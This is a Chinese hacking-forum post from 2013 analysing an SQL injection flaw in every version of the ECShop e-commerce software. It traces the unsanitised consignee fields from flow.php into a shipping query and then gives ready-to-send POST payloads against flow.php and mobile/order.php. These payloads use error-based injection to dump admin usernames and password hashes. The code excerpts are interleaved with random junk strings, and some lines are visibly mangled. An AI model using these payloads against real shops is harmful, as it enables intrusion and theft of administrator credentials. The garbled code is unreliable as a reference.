找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2093|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。' V- h* b; l9 X* x7 ]! T

$ _1 |- l2 `3 q7 L    漏洞关键文件:
3 S4 d4 ?/ v( O% E' x
9 ^9 G! L. J& z7 n6 J    /includes/lib_order.php
" @! H6 X" H( O, S- X! ]  G7 O% a, k& D+ t# B! }
    关键函数:
5 V) T0 V* u/ n" m; q* G( E# M  m7 S+ Q7 ?
5 q( f& k. N1 \! I' i: j3 x
. c1 k" Z6 R* j% h* `
01     function available_shipping_list($region_id_list) 0 G6 g4 Z& [% k' U, N7 p! \
$ e2 Y6 N) P+ E( _2 b% U/ ?1 c
02 {
& N7 P# k) k9 e5 L
7 v/ A- W1 U; H: q8 K3 R" \( a03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 4 v, y6 K7 Y# W4 D+ Z
8 v$ f) Z6 X2 `! ?! y2 D9 X
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 7 l8 g2 O: y: c
4 C" m' p( y; J& H/ \
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 n4 t. b1 |4 Y% N) v

- n/ V, q" H' V06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
+ }. f1 S3 Q. t5 i" W4 n, W+ g- @# @
3 p# a/ I. G& t2 I+ u% b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
6 d* A( n2 J! R7 u0 P3 I' G0 o3 u; }6 ]: z; C8 o
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 6 C  h) S; k8 e% `* W2 T5 y# \

# J" |3 R. b) o5 y09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
( U( K; G( t' u5 I; ^
6 x: V( E2 A( V" B: `" ?$ h10   ' M1 O3 e3 }8 g

. Z5 n, i9 o5 z4 X5 B% Y. X11     return $GLOBALS['db']->getAll($sql);
" Y5 N) u" D5 p2 ~
# F# ?# b" S6 w; L12 }
; w; }) ^/ D+ |5 _" z4 s
4 W4 k1 c+ ~6 m' q8 i; C4 o5 u显然对传入的参数没有任何过滤就带入了查询语句。
9 x, y% P4 P6 f & }# f$ q  z8 ]$ w; Q' k' M; K: c% g
下面我们追踪这个函数在flow.php中:
0 m9 b! b* f+ _) F3 s& G! W 第531行:   
; B- T) H" f, M6 R4 v+ K" p
- j3 b5 {& G  d! J1 $shipping_list     = available_shipping_list($region);
1 ~$ d% c) a- `' r, r& z' y* P, l, z+ ?5 @# D

, o* M0 p+ m2 m( o) w  h( B, e, }* ?. l# s: q1 f4 X1 y# L
% z# `/ l% T8 K9 G! \

  J5 _2 }$ D2 D' s, @- P6 {+ P再对传入变量进行追踪:
8 W8 Z* [  w  ^" I8 @7 Q+ N
/ c1 h# w. X# n第530行:   
5 h& c  G* W/ L! w8 ]2 C& ?/ a7 B7 o! e; [
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' E! X8 U" J/ X/ w% r7 U
6 {) x& p1 r* U5 B" `
) h5 X0 \/ K5 x5 h& p
5 h) A+ |- @3 d7 M
  Y# U9 M& G7 H# J! {
  Y' {2 B1 n8 I第473行:        
6 Z2 l- m2 l2 B: o* E# D- S
3 h3 q" q5 b* b. F9 S; W. r/ P1 $consignee = get_consignee($_SESSION['user_id']);
$ J$ p' F, _6 g# u/ [; R: D9 x6 O7 }9 r1 v: j
到了一个关键函数:5 k3 e7 V% I; m* ^& m/ N- P
( H) H4 ^/ U7 R
/includes/lib_order.php
/ a! f2 F1 A% {. n7 d
# W9 l) y: E! C' m6 ^/ ]# ~
( l* h+ C) F) d8 Z2 R
& W/ B1 J/ W/ f5 U. x% ?; d+ I* P4 ]
" X+ b* ^! o( ^- T( ?. b. r, Z5 A% [" z
01 function get_consignee($user_id)
8 W7 ~$ }: x9 ?: V/ D, K5 _- Q6 R& J  e7 x' w' R, j
02 { $ ~7 T0 {8 d9 g! ^

7 U$ @" l$ y, _) X3 n; `2 |! f03     if (isset($_SESSION['flow_consignee']))
1 d7 m, q; G4 k4 a; M# J1 o+ F% Z! D$ q1 s' Z
04     {
, d8 I5 P; c1 b" v
+ Q" J. l+ c2 O1 h; m$ ?05         /* 如果存在session,则直接返回session中的收货人信息 */
8 F* g( e5 y0 L( e0 L$ z0 k' w* c. Y) |: K- l4 C3 g
06   
; Y- o- R! A- M) N; N) E2 O1 d& j+ Z* H
07         return $_SESSION['flow_consignee'];
# b' T; r3 M3 W0 ]$ B
" ?4 |/ U! ?" r9 U08     }
- t# z! @# }% S) Z+ t5 n" i  u! z6 l
09     else
: m% g% W! G. \# n( v
) K4 ~5 w& L- u3 m' o% _10     {
9 W2 N+ U6 @8 S- X* m, y8 P9 w
. \- Y/ E# i% h, r. W11         /* 如果不存在,则取得用户的默认收货人信息 */ + i7 b) ~6 S6 E6 h$ I; G8 N

( [7 O& Z% Z  P/ O! C12         $arr = array();
: o( v/ f/ y, s4 q9 v/ r6 A2 J" }! _" E+ [3 k
13   
0 @% i8 }% \, }9 z5 l" q4 B
0 U2 n2 y/ _( y3 {/ j, I! m. n/ t14         if ($user_id > 0)
: J$ Q% |3 ~7 g- C* L! _4 o* b, C$ r; W$ {6 ~, y
15         {
9 k+ O. @4 s  p/ o( \! J
; j- r8 v& Q$ O, D" q' X( c16             /* 取默认地址 */ , K0 r. [5 x& o% \7 O8 ]6 H1 h7 }

8 R' `  `. Z  `17             $sql = "SELECT ua.*". & |5 h; }5 @! A

9 Z) g( ~/ E* C1 Q  B9 e+ }18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' X# }) a" G* o) `, R
. J6 o: Q& [5 T5 ]2 ?8 w3 [: b19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 5 b! p" ]4 [* C

; U) G2 v  S2 j3 N8 h20   $ G9 r7 G) l% l  P- V
/ B% i1 j8 x& r  g  k
21             $arr = $GLOBALS['db']->getRow($sql);
0 `; ?0 H9 O2 q  y9 N: @7 n; N7 h& W( B" Z
22         }
8 y' }' Q- D% t3 y  ~
! I  U: F5 |: I- \; g23     w: b2 o* @; e

' r2 G- Z- R2 J5 x5 \; l- ^24         return $arr; 4 t0 q$ ^6 z" y& Y6 l

' d4 c; ]" C2 o9 g3 [* i. r25     } 6 g6 ?: z8 Q# c' j+ M

$ ?9 y9 U! \% H1 a26 }
& L' F; Z9 A- B* R) J8 s7 j9 _9 s; S5 {( J4 t
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?$ N( f) s- }  [. g- J

) x. \3 v$ E7 c# g' N. B9 [5 C 4 m9 i+ r; b, n# k  Z$ |+ _) |

) W9 w6 h2 J6 |1 t" _' B  A0 T关键点:  s  f% u, P* p$ ?
0 P/ W5 f7 d$ r0 Q4 i4 S2 Y
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);0 P3 Z  Q5 W3 D- M* m9 I
1 N& [7 \. X8 t( J& k0 d
这里对传入参数反转义存入$_SESSION中。
( N3 |& x# B# T1 H$ T
) v0 n4 d/ }9 d# G4 |2 T 3 K/ y9 Q. ~3 {; |* g
1 ^: d% h$ l# b) }  ~* f/ f2 K9 A: Y8 J
然后看下:
) ]3 s6 w5 T1 [; u/ F1 a( Q" d7 H7 e
6 R7 s: e) ~7 H3 d
9 U- J- ^9 V+ \" h: Q  q
   
4 o/ E: P& z* O5 s* N( H/ L' R5 e* z) S& U, k) G
01 $consignee = array( ! u; ]' e0 G9 z' e. |: c

) a8 P* o& R4 d02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
( N8 M1 i7 F, F: C& Q2 R/ n
) T( ?1 M1 V: u, L03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
- k0 L: O1 H' c) `' a
3 {3 q* O/ T! e# S$ U; d% w04         'country'       => empty($_POST['country'])    ? '' _POST['country'], : p6 {! w2 Q5 c  p

9 a6 j/ V) e; x6 S' G05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
% V/ N- J" j2 O/ P5 h7 S  C" f  g3 a7 ^9 H
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
+ r. E) h6 U: m7 g* d9 n- ^' y
$ Q; P+ h2 V9 k07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 0 H9 i6 F* s8 H- C& u5 h

. D, c( v3 Z# Z& u: W, {$ Y: q, u" `) W08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
& z+ g& w" ?0 O7 i" A* [0 m" T5 u  p, ~7 U0 I
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],   A1 M8 ^( L" U5 U

( Y5 U5 _7 J% L1 J9 _. c10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 9 r# R7 f# n0 O

5 [) d0 b7 p; B' U" n# R$ N11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), + b, z% D) `, F1 f" r  T# m' d
5 S. e+ g3 R$ J% L7 `. [
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
; D5 t! ?+ V7 h3 v" r
, b5 w- e; }' B7 R! L) k+ O; ~13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% m4 D) K) L' |; n, h: A  t0 C5 g' g# l% B" V' r6 V
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], & ?  `& W! T+ `
! V( e! I3 u9 p5 h+ U. S4 P
15     ); ( l6 g0 y4 i4 I9 j) \& m

' p2 E$ U. A' }! h好了注入就这样出现了。
9 I4 h# n' L' d  N" I/ s
4 o9 y+ }  r# S* F: u$ ~==================5 {. {% i4 D. m: ?  G

! ]/ T$ l# A8 V8 Q注入测试:
4 G0 Q$ K8 }9 I) g$ i) z; u0 Z1 R8 p7 l4 l
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)% b5 B" m  L+ d4 n; S
  _  s6 Y5 j8 G/ f% r
测试程序:ECShop_V2.7.3_UTF8_release1106! U4 a& O% r0 I
7 F- q8 _" v* M1 F7 Q, I

3 a7 ~8 P( W1 c$ [% g
) B' B  `$ O. A1 r/ d1.首先需要点击一个商品加入购物车
8 Y5 j2 u5 z6 M8 C( Z- S3 a1 A% k5 |; s" e" W6 s5 _! e& |4 _7 ?
2.注册一个会员帐号
$ L$ z+ ?/ L2 ~9 {3 L
7 J) [; ~: c  p4 W2 O+ f; U3.post提交数据: d2 h. t" Z5 v8 M* P9 M. G
8 C7 m  k$ a4 a  i7 r( E' I

6 L8 V0 s5 O0 O. h4 L# l9 s3 q% L" w
1 http://127.0.0.1/ecshop/flow.php / l: `4 w) g4 N
1 i. L5 X5 b4 Y$ X% H0 h
2   9 F: i% T, T6 d5 p- d; k
# R/ V1 u4 z7 E* M/ [; R
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) ~1 D' T8 e" z( e! t举一反三,我们根据这个漏洞我们可以继续深入挖掘:9 y2 S* g/ C- L$ D/ ?
1 S) z4 F8 M( t4 t% A0 K- w, r* y# F3 [
我们搜寻关键函数function available_shipping_list()
3 A4 B7 v: u" @' P' Y3 @4 C) S: Y, L/ G
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
+ _9 W$ t) C- j9 v: f
$ G: P) U, s1 b% q利用exp:
2 g# W/ _& I5 o1 U8 T* j7 {9 o' E' T8 W
1.点击一个商品,点击购买商标% t  |& W# [+ L6 N: s3 m

) ~; r: _4 o9 A2.登录会员帐号
' y: c6 N# H5 L6 l' t# E8 p0 r$ ^0 l3 v/ C2 C1 t/ u" D
3.post提交:" z  V* H) K" n$ b( v8 x

! q0 T+ u: h2 Y, P" g* ~http://127.0.0.1/ecshop/mobile/order.php
3 r3 D% E8 g7 l1 z
" j( h3 L7 o$ W/ t 8 \! C/ o) L( c, b
1 M/ D- [8 M: B5 r" O- Y& g; y
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
$ H  w0 C+ w3 p6 t4 q: k8 e
" F+ f/ f  m/ |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表